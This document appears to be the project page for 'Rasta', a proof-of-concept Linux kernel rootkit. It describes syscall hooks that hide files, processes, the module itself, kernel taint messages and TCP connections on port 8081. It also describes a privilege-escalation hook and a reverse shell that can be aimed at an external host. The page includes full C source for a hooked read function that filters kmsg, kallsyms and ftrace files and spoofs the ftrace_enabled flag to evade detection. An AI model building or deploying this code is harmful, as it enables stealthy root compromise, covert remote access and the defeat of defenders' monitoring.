Linux Kernel Module POC
Simple POC of a Linux kernel module for latest kernel version that utilizes both ftrace and kprobes and poses as a rootkit to stealthily hook its syscalls and leave no trace!
RastaMon Linux Kernel Module
🇯🇲
Core Capabilities
Rasta has the following core capabilities:
Hide Files and Directories Named
rasta
Rasta uses thegetdents64
syscall hook to hide all files and directories namedrasta
from userspace. This is particularly useful for obfuscating the presence of the module in the filesystem.Remove/Add Module from
/proc/modules
List
The module can remove itself from the/proc/modules
list, making it difficult for userspace tools likelsmod
to detect its presence. It can also add itself back into the list when necessary.Gain Root Capabilities
By hooking thehooked_kill
syscall, Rasta can set all process IDs (UIDs, GIDs, etc.) to 0, giving the module root privileges. This enables full control over the system.Hide
taint
Messages fromdmesg
or/dev/kmsg
Rasta hides any kerneltaint
messages that would typically show up indmesg
or/dev/kmsg
. This helps to cover up any traces of kernel modifications, making the rootkit harder to detect.Hide from
/sys/module/
Directory
The module hides itself from the/sys/module
directory, preventing any attempts to manually detect or unload the module. This is achieved by manipulating the syscalls without actually deleting the module directory, making it invisible while still active.Filter Module’s Functions from
/sys/kernel/tracing/touched_functions
and/proc/kallsyms
Rasta hookshooked_read
to filter out its own functions from being listed in/sys/kernel/tracing/touched_functions
and/proc/kallsyms
. This ensures that Rasta’s presence and behavior remain hidden in the kernel’s symbol table and tracing logs.Hiding Processes by PID
Rasta hooks into thegetdents64
syscall to hide processes’ PIDs, making it difficult for any monitoring tools to identify running processes associated with Rasta. This feature is still under development, but the goal is to ensure processes related to the rootkit remain stealthy.Hiding Network Connections on Port 8081
Rasta hooks two critical TCP APIs—tcp4_seq_show
andtcp6_seq_show
—using ftrace to hide any network connections on port 8081. This prevents tools likenetstat
,lsof
andss
from displaying active connections on this port, ensuring covert communication for purposes like reverse shells.Reverse Shell
Rasta features a basic reverse shell that listens on a specified IP address (defaults tolocalhost
). This shell can be configured to connect to an external IP address, providing a remote shell that remains hidden by the network connection.
- Quick shout to some sources.
Examples
Resetting the taint_mask
to 0
- This demonstrates how Rasta manipulates the kernel’s taint mask, effectively resetting it to 0.
Hiding taint
from /dev/kmsg
- Here, the
taint
message is hidden from/dev/kmsg
, meaning any errors or warnings about the module loading won’t appear in the kernel log.
Hiding All of Our Functions from /proc/kallsyms
and /sys/kernel/tracing/touched_functions
- The
hooked_read
function is used to hide Rasta’s functions from/proc/kallsyms
and/sys/kernel/tracing/touched_functions
. This ensures that the functions used by Rasta are never exposed to user space.
Setting All IDs to 0
- By using the
hooked_kill
syscall, Rasta sets all process IDs (UIDs, GIDs, etc.) to 0, effectively giving the kernel module root privileges.
Adding/Removing the Module from the /proc/modules
List
- This shows how Rasta can add or remove itself from the
/proc/modules
list. The module can be removed to hide its presence from userspace, while still being active in the kernel.
Hiding Everything Named rasta
The
getdents64
hook hides all files and directories namedrasta
from userspace. This is a stealth technique to ensure that the module’s presence is not detected through file listings or directory searches.Note: Technically, we don’t need to delete the module from
/sys/module/
because it won’t show up in directory listings due to thegetdents64
hook. While the directory is still there, it is hidden from userspace, making it hard to detect.
Hiding Processes’ PIDs
- The
getdents64
andkill
hooks are also used to hide the process IDs (PIDs) of userspace processes. Currently, there are some issues with completely hiding PIDs, but SIGKILL is sent to the process.
Hiding TCP Connections on Port 8081
One of the key features of Rasta is the ability to hide network connections. Specifically, we hook into two critical APIs:
tcp4_seq_show
andtcp6_seq_show
using ftrace. These two functions are responsible for displaying information about IPv4 and IPv6 TCP connections in userspace.By intercepting these calls, Rasta can hide any active TCP connections on port 8081 from tools like
netstat
orss
. This ensures that network activity, such as reverse shells or other types of communication using port 8081, remains invisible to standard network monitoring tools.The core mechanism works by:
- Hooking the
tcp4_seq_show
andtcp6_seq_show
functions. - Filtering out any connection on port 8081 (or any other port you wish to target) from being listed.
- This method provides a stealthy way to maintain network communications without detection.
- Hooking the
Reverse Shell
- This is a simple reverse shell that listens for connections on
localhost
. The IP address can be easily changed inkprobe/rev-shell.h
to connect to an external host. - The reverse shell utilizes the hidden network connection on port 8081, which is stealthed by Rasta’s ftrace hook, allowing for covert communication.
Using notrace
example to avoid /sys/kernel/tracing/available_filter_functions
with our read hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/*
Big Collab with MatheuZSecurity on this https://github.com/matheuZSecurity/Rootkit/Ring0/clear-taint-dmesg
*/
#ifndef READ_H
#define READ_H
#define B_F 4096 // Temporary buffer size for reading
static asmlinkage ssize_t (*og_read)(const struct pt_regs *regs); // Pointer to the original read function
static asmlinkage ssize_t hooked_read(const struct pt_regs *regs);
// Hooked function that intercepts the syscall read
static notrace asmlinkage ssize_t hooked_read(const struct pt_regs *regs) {
int fd = regs->di; // First argument of read: fd
char __user *user_buf = (char __user *)regs->si; // Second argument: output buffer for user
char *kernel_buf;
ssize_t bytes_read;
struct file *file;
static int spoof_next_read = 0; // Used to spoof one read
// Check if the fd is from /dev/kmsg, /proc/kallsyms or /sys/kernel/tracing/touched_functions
file = fget(fd); // Gets the file object corresponding to the fd
if (file) {
/* Check if the file is:
- /dev/kmsg
- /proc/kallsyms
- /sys/kernel/tracing/enabled_functions
- /sys/kernel/tracing/touched_functions
- /sys/kernel/tracing/tracing_on
- /proc/sys/kernel/ftrace_enabled */
if (strcmp(file->f_path.dentry->d_name.name, "kmsg") == 0 ||
strcmp(file->f_path.dentry->d_name.name, "kallsyms") == 0 ||
strcmp(file->f_path.dentry->d_name.name, "touched_functions") == 0 ||
strcmp(file->f_path.dentry->d_name.name, "ftrace_enabled") == 0 ||
strcmp(file->f_path.dentry->d_name.name, "tracing_on") == 0 ||
strcmp(file->f_path.dentry->d_name.name, "enabled_functions") == 0) {
fput(file); // Frees the file object after verification
// Allocates a temporary buffer in kernel space
kernel_buf = kmalloc(B_F, GFP_KERNEL);
if (!kernel_buf) {
printk(KERN_ERR "Failed to allocate temporary buffer.\n");
return -ENOMEM;
}
// Calls the original function to read data from the file
bytes_read = og_read(regs);
if (bytes_read < 0) {
kfree(kernel_buf);
return bytes_read;
}
// Copies data read from user space to the buffer in the kernel for processing
if (copy_from_user(kernel_buf, user_buf, bytes_read)) {
kfree(kernel_buf);
return -EFAULT;
}
// If the current val is "1" we need to spoof it, change it to "0" once. If not the zeros are so bad bro ...
if (spoof_next_read == 0 && strncmp(kernel_buf, "1", 1) == 0) {
kernel_buf[0] = '0';
spoof_next_read = 1; // Ensure spoof happens only once
} else {
spoof_next_read = 0; // Reset spoof
}
// Filter out lines that contain the words "taint", "rasta", or "kallsyms"
char *filtered_buf = kzalloc(B_F, GFP_KERNEL); // Buffer for filtered messages
if (!filtered_buf) {
kfree(kernel_buf);
return -ENOMEM;
}
char *line, *line_ptr;
size_t filtered_len = 0;
// Process the kernel buffer, line by line
line = kernel_buf;
while ((line_ptr = strchr(line, '\n'))) {
*line_ptr = '\0'; // Temporarily terminate the line
/*
So check it out, this is where the magic happens with hiding from those tracing files.
*/
// Check if the line contains "taint", "rasta", or "kallsyms"
if (!strstr(line, "taint") && !strstr(line, "rasta") && !strstr(line, "kallsyms")) {
size_t line_len = strlen(line);
if (filtered_len + line_len + 1 < B_F) { // Check for space in the filtered buffer
strcpy(filtered_buf + filtered_len, line); // Append the line
filtered_len += line_len;
filtered_buf[filtered_len++] = '\n'; // Add newline after the line
}
}
line = line_ptr + 1; // Move to the next line
}
// Ensures the final buffer is null-terminated
filtered_buf[filtered_len] = '\0';
// Copy the filtered buffer back to userspace
if (copy_to_user(user_buf, filtered_buf, filtered_len)) {
kfree(kernel_buf);
kfree(filtered_buf);
return -EFAULT;
}
kfree(kernel_buf);
kfree(filtered_buf);
return filtered_len;
}
fput(file); // Frees the file object if it's neither /dev/kmsg /proc/kallsyms, nor /sys/kernel/tracing/touched_functions
}
return og_read(regs); // Calls the original reading function if it's not /dev/kmsg, /proc/kallsyms or /sys/kernel/tracing/touched_functions
}
#endif
Protecting Ftrace From Being Disabled and Spoofing the read to always return a zero when on. Basically Masking Ftrace Being Enabled.
Extra
[!Important]
Not responsible for anything done with this. This does not do anything really malicious honestly and If you’re dumb enough to think this is FUD malware, just go away.
Resources:
- Detect-Rootkit-Cheatsheet
- Rootkit by matheuZSecurity
- Linux Rootkit Series by fs3cs0ciety
- Xcellerator’s blog
- The Linux Kernel Source